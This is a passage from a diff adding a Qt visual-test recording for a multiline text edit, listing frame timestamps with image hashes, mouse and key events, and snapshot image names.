+ hash: "0e728de352bc8658bb3e2900a56bfad9"
+ }
+ Frame {
+ msec: 7024
+ hash: "0e728de352bc8658bb3e2900a56bfad9"
+ }
+ Frame {
+ msec: 7040
+ hash: "0e728de352bc8658bb3e2900a56bfad9"
+ }
+ Frame {
+ msec: 7056
+ hash: "0e728de352bc8658bb3e2900a56bfad9"
+ }
+ Frame {
+ msec: 7072
+ hash: "0e728de352bc8658bb3e2900a56bfad9"
+ }
+ Frame {
+ msec: 7088
+ hash: "0e728de352bc8658bb3e2900a56bfad9"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 59; y: 44
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7104
+ hash: "c9b766ef3743159fdd7a01d3eeaa357b"
+ }
+ Frame {
+ msec: 7120
+ hash: "c9b766ef3743159fdd7a01d3eeaa357b"
+ }
+ Frame {
+ msec: 7136
+ hash: "c9b766ef3743159fdd7a01d3eeaa357b"
+ }
+ Frame {
+ msec: 7152
+ hash: "c9b766ef3743159fdd7a01d3eeaa357b"
+ }
+ Frame {
+ msec: 7168
+ hash: "c9b766ef3743159fdd7a01d3eeaa357b"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 59; y: 44
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7184
+ hash: "c9b766ef3743159fdd7a01d3eeaa357b"
+ }
+ Frame {
+ msec: 7200
+ hash: "c9b766ef3743159fdd7a01d3eeaa357b"
+ }
+ Frame {
+ msec: 7216
+ hash: "c9b766ef3743159fdd7a01d3eeaa357b"
+ }
+ Frame {
+ msec: 7232
+ hash: "c9b766ef3743159fdd7a01d3eeaa357b"
+ }
+ Frame {
+ msec: 7248
+ hash: "c9b766ef3743159fdd7a01d3eeaa357b"
+ }
+ Frame {
+ msec: 7264
+ hash: "c9b766ef3743159fdd7a01d3eeaa357b"
+ }
+ Frame {
+ msec: 7280
+ hash: "c9b766ef3743159fdd7a01d3eeaa357b"
+ }
+ Frame {
+ msec: 7296
+ hash: "c9b766ef3743159fdd7a01d3eeaa357b"
+ }
+ Frame {
+ msec: 7312
+ hash: "c9b766ef3743159fdd7a01d3eeaa357b"
+ }
+ Frame {
+ msec: 7328
+ hash: "c9b766ef3743159fdd7a01d3eeaa357b"
+ }
+ Frame {
+ msec: 7344
+ hash: "c9b766ef3743159fdd7a01d3eeaa357b"
+ }
+ Frame {
+ msec: 7360
+ hash: "c9b766ef3743159fdd7a01d3eeaa357b"
+ }
+ Frame {
+ msec: 7376
+ hash: "c9b766ef3743159fdd7a01d3eeaa357b"
+ }
+ Frame {
+ msec: 7392
+ hash: "c9b766ef3743159fdd7a01d3eeaa357b"
+ }
+ Frame {
+ msec: 7408
+ hash: "c9b766ef3743159fdd7a01d3eeaa357b"
+ }
+ Frame {
+ msec: 7424
+ hash: "c9b766ef3743159fdd7a01d3eeaa357b"
+ }
+ Frame {
+ msec: 7440
+ hash: "c9b766ef3743159fdd7a01d3eeaa357b"
+ }
+ Frame {
+ msec: 7456
+ hash: "c9b766ef3743159fdd7a01d3eeaa357b"
+ }
+ Frame {
+ msec: 7472
+ hash: "c9b766ef3743159fdd7a01d3eeaa357b"
+ }
+ Frame {
+ msec: 7488
+ hash: "c9b766ef3743159fdd7a01d3eeaa357b"
+ }
+ Frame {
+ msec: 7504
+ hash: "c9b766ef3743159fdd7a01d3eeaa357b"
+ }
+ Frame {
+ msec: 7520
+ hash: "c9b766ef3743159fdd7a01d3eeaa357b"
+ }
+ Frame {
+ msec: 7536
+ hash: "c9b766ef3743159fdd7a01d3eeaa357b"
+ }
+ Frame {
+ msec: 7552
+ hash: "c9b766ef3743159fdd7a01d3eeaa357b"
+ }
+ Frame {
+ msec: 7568
+ hash: "c9b766ef3743159fdd7a01d3eeaa357b"
+ }
+ Key {
+ type: 6
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 7584
+ hash: "f8d7e167379a5109b1744727b3bb5050"
+ }
+ Frame {
+ msec: 7600
+ hash: "f8d7e167379a5109b1744727b3bb5050"
+ }
+ Frame {
+ msec: 7616
+ hash: "f8d7e167379a5109b1744727b3bb5050"
+ }
+ Key {
+ type: 7
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 7632
+ hash: "f8d7e167379a5109b1744727b3bb5050"
+ }
+ Frame {
+ msec: 7648
+ hash: "f8d7e167379a5109b1744727b3bb5050"
+ }
+ Frame {
+ msec: 7664
+ hash: "f8d7e167379a5109b1744727b3bb5050"
+ }
+ Frame {
+ msec: 7680
+ image: "usingMultilineEdit.7.png"
+ }
+ Frame {
+ msec: 7696
+ hash: "f8d7e167379a5109b1744727b3bb5050"
+ }
+ Frame {
+ msec: 7712
+ hash: "f8d7e167379a5109b1744727b3bb5050"
+ }
+ Key {
+ type: 6
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 7728
+ hash: "d1f43fa2f710725527736ac3439577df"
+ }
+ Frame {
+ msec: 7744
+ hash: "d1f43fa2f710725527736ac3439577df"
+ }
+ Frame {
+ msec: 7760
+ hash: "d1f43fa2f710725527736ac3439577df"
+ }
+ Frame {
+ msec: 7776
+ hash: "d1f43fa2f710725527736ac3439577df"
+ }
+ Frame {
+ msec: 7792
+ hash: "d1f43fa2f710725527736ac3439577df"
+ }
+ Frame {
+ msec: 7808
+ hash: "d1f43fa2f710725527736ac3439577df"
+ }
+ Frame {
+ msec: 7824
+ hash: "d1f43fa2f710725527736ac3439577df"
+ }
+ Frame {
+ msec: 7840
+ hash: "d1f43fa2f710725527736ac3439577df"
+ }
+ Frame {
+ msec: 7856
+ hash: "d1f43fa2f710725527736ac3439577df"
+ }
+ Frame {
+ msec: 7872
+ hash: "d1f43fa2f710725527736ac3439577df"
+ }
+ Frame {
+ msec: 7888
+ hash: "d1f43fa2f710725527736ac3439577df"
+ }
+ Frame {
+ msec: 7904
+ hash: "d1f43fa2f710725527736ac3439577df"
+ }
+ Frame {
+ msec: 7920
+ hash: "d1f43fa2f710725527736ac3439577df"
+ }
+ Frame {
+ msec: 7936
+ hash: "d1f43fa2f710725527736ac3439577df"
+ }
+ Frame {
+ msec: 7952
+ hash: "d1f43fa2f710725527736ac3439577df"
+ }
+ Key {
+ type: 7
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: true
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: true
+ count: 1
+ }
+ Frame {
+ msec: 7968
+ hash: "1553d42725394fa4d4c9b97dc12a78b9"
+ }
+ Frame {
+ msec: 7984
+ hash: "1553d42725394fa4d4c9b97dc12a78b9"
+ }
+ Key {
+ type: 7
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: true
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: true
+ count: 1
+ }
+ Frame {
+ msec: 8000
+ hash: "a62df700f3209668a813e765a79e7859"
+ }
+ Frame {
+ msec: 8016
+ hash: "a62df700f3209668a813e765a79e7859"
+ }
+ Key {
+ type: 7
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: true
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: true
+ count: 1
+ }
+ Frame {
+ msec: 8032
+ hash: "e8928770969b82523e828e3036bbe106"
+ }
+ Frame {
+ msec: 8048
+ hash: "e8928770969b82523e828e3036bbe106"
+ }
+ Key {
+ type: 7
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: true
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: true
+ count: 1
+ }
+ Frame {
+ msec: 8064
+ hash: "ba0c406580cc0fa02a6b26367a290ec9"
+ }
+ Frame {
+ msec: 8080
+ hash: "ba0c406580cc0fa02a6b26367a290ec9"
+ }
+ Key {
+ type: 6
+ key: 16777248
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 7
+ key: 16777237
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 8096
+ hash: "ba0c406580cc0fa02a6b26367a290ec9"
+ }
+ Frame {
+ msec: 8112
+ hash: "ba0c406580cc0fa02a6b26367a290ec9"
+ }
+ Frame {
+ msec: 8128
+ hash: "ba0c406580cc0fa02a6b26367a290ec9"
+ }
+ Frame {
+ msec: 8144
+ hash: "ba0c406580cc0fa02a6b26367a290ec9"
+ }
+ Frame {
+ msec: 8160
+ hash: "ba0c406580cc0fa02a6b26367a290ec9"
+ }
+ Frame {
+ msec: 8176
+ hash: "ba0c406580cc0fa02a6b26367a290ec9"
+ }
+ Frame {
+ msec: 8192
+ hash: "ba0c406580cc0fa02a6b26367a290ec9"
+ }
+ Key {
+ type: 6
+ key: 16777235
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 8208
+ hash: "479b5ba3f5b3d38b5e9aba6b5204da03"
+ }
+ Frame {
+ msec: 8224
+ hash: "479b5ba3f5b3d38b5e9aba6b5204da03"
+ }
+ Frame {
+ msec: 8240
+ hash: "479b5ba3f5b3d38b5e9aba6b5204da03"
+ }
+ Frame {
+ msec: 8256
+ hash: "479b5ba3f5b3d38b5e9aba6b5204da03"
+ }
+ Key {
+ type: 7
+ key: 16777235
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 8272
+ hash: "479b5ba3f5b3d38b5e9aba6b5204da03"
+ }
+ Frame {
+ msec: 8288
+ hash: "479b5ba3f5b3d38b5e9aba6b5204da03"
+ }
+ Frame {
+ msec: 8304
+ hash: "479b5ba3f5b3d38b5e9aba6b5204da03"
+ }
+ Frame {
+ msec: 8320
+ hash: "479b5ba3f5b3d38b5e9aba6b5204da03"
+ }
+ Key {
+ type: 6
+ key: 16777235
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 8336
+ hash: "978ed05f4ea2cc7ddb06807a25883335"
+ }
+ Frame {
+ msec: 8352
+ hash: "978ed05f4ea2cc7ddb06807a25883335"
+ }
+ Frame {
+ msec: 8368
+ hash: "978ed05f4ea2cc7ddb06807a25883335"
+ }
+ Frame {
+ msec: 8384
+ hash: "978ed05f4ea2cc7ddb06807a25883335"
+ }
+ Key {
+ type: 7
+ key: 16777235
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 8400
+ hash: "978ed05f4ea2cc7ddb06807a25883335"
+ }
+ Frame {
+ msec: 8416
+ hash: "978ed05f4ea2cc7ddb06807a25883335"
+ }
+ Frame {
+ msec: 8432
+ hash: "978ed05f4ea2cc7ddb06807a25883335"
+ }
+ Frame {
+ msec: 8448
+ hash: "978ed05f4ea2cc7ddb06807a25883335"
+ }
+ Frame {
+ msec: 8464
+ hash: "978ed05f4ea2cc7ddb06807a25883335"
+ }
+ Key {
+ type: 6
+ key: 16777235
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 8480
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 8496
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 8512
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 8528
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Key {
+ type: 7
+ key: 16777235
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 8544
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 8560
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 8576
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 8592
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 8608
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 8624
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 8640
+ image: "usingMultilineEdit.8.png"
+ }
+ Frame {
+ msec: 8656
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Key {
+ type: 7
+ key: 16777248
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 8672
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 8688
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 8704
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 8720
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 8736
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 8752
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 8768
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 8784
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 8800
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 8816
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 8832
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 8848
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 8864
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 8880
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 8896
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 8912
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 8928
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 8944
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 8960
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 8976
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 8992
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 9008
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 9024
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 9040
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 9056
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 9072
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 9088
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 9104
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 9120
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 9136
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 9152
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 9168
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 9184
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 9200
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 70; y: 73
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9216
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 9232
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 74
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9248
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 75
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 76
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9264
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 77
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 78
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9280
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 70; y: 78
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9296
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 9312
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 9328
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 9344
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 9360
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 9376
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 9392
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 9408
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 9424
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Frame {
+ msec: 9440
+ hash: "b65c439a091d3293352de410d28aaca1"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 71; y: 94
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9456
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 9472
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 9488
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 9504
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 9520
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 9536
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 71; y: 94
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9552
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 9568
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 9584
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 9600
+ image: "usingMultilineEdit.9.png"
+ }
+ Frame {
+ msec: 9616
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 9632
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 9648
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 9664
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Key {
+ type: 6
+ key: 16777248
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 9680
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 9696
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 9712
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 9728
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 9744
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 9760
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 9776
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 9792
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 9808
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 9824
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 9840
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 9856
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 9872
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 9888
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 9904
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 9920
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 9936
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 9952
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 9968
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 9984
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10000
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10016
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10032
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10048
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10064
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10080
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10096
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Key {
+ type: 6
+ key: 16777237
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 10112
+ hash: "8d9ca5bff73c2c93a0db5787ca7ef76b"
+ }
+ Frame {
+ msec: 10128
+ hash: "8d9ca5bff73c2c93a0db5787ca7ef76b"
+ }
+ Frame {
+ msec: 10144
+ hash: "8d9ca5bff73c2c93a0db5787ca7ef76b"
+ }
+ Frame {
+ msec: 10160
+ hash: "8d9ca5bff73c2c93a0db5787ca7ef76b"
+ }
+ Frame {
+ msec: 10176
+ hash: "8d9ca5bff73c2c93a0db5787ca7ef76b"
+ }
+ Frame {
+ msec: 10192
+ hash: "8d9ca5bff73c2c93a0db5787ca7ef76b"
+ }
+ Frame {
+ msec: 10208
+ hash: "8d9ca5bff73c2c93a0db5787ca7ef76b"
+ }
+ Frame {
+ msec: 10224
+ hash: "8d9ca5bff73c2c93a0db5787ca7ef76b"
+ }
+ Key {
+ type: 7
+ key: 16777237
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 10240
+ hash: "8d9ca5bff73c2c93a0db5787ca7ef76b"
+ }
+ Frame {
+ msec: 10256
+ hash: "8d9ca5bff73c2c93a0db5787ca7ef76b"
+ }
+ Frame {
+ msec: 10272
+ hash: "8d9ca5bff73c2c93a0db5787ca7ef76b"
+ }
+ Frame {
+ msec: 10288
+ hash: "8d9ca5bff73c2c93a0db5787ca7ef76b"
+ }
+ Frame {
+ msec: 10304
+ hash: "8d9ca5bff73c2c93a0db5787ca7ef76b"
+ }
+ Frame {
+ msec: 10320
+ hash: "8d9ca5bff73c2c93a0db5787ca7ef76b"
+ }
+ Frame {
+ msec: 10336
+ hash: "8d9ca5bff73c2c93a0db5787ca7ef76b"
+ }
+ Frame {
+ msec: 10352
+ hash: "8d9ca5bff73c2c93a0db5787ca7ef76b"
+ }
+ Key {
+ type: 6
+ key: 16777235
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 10368
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10384
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10400
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10416
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10432
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10448
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Key {
+ type: 7
+ key: 16777235
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 10464
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10480
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10496
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10512
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10528
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10544
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10560
+ image: "usingMultilineEdit.10.png"
+ }
+ Frame {
+ msec: 10576
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10592
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10608
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10624
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10640
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Key {
+ type: 7
+ key: 16777248
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 10656
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10672
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10688
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10704
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10720
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10736
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10752
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10768
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10784
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10800
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10816
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10832
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10848
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10864
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10880
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10896
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10912
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10928
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10944
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10960
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10976
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 10992
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 11008
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 11024
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 11040
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 11056
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 11072
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 11088
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 11104
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 11120
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 11136
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 11152
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 11168
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 11184
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 11200
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 11216
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 11232
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 11248
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 11264
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 11280
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 11296
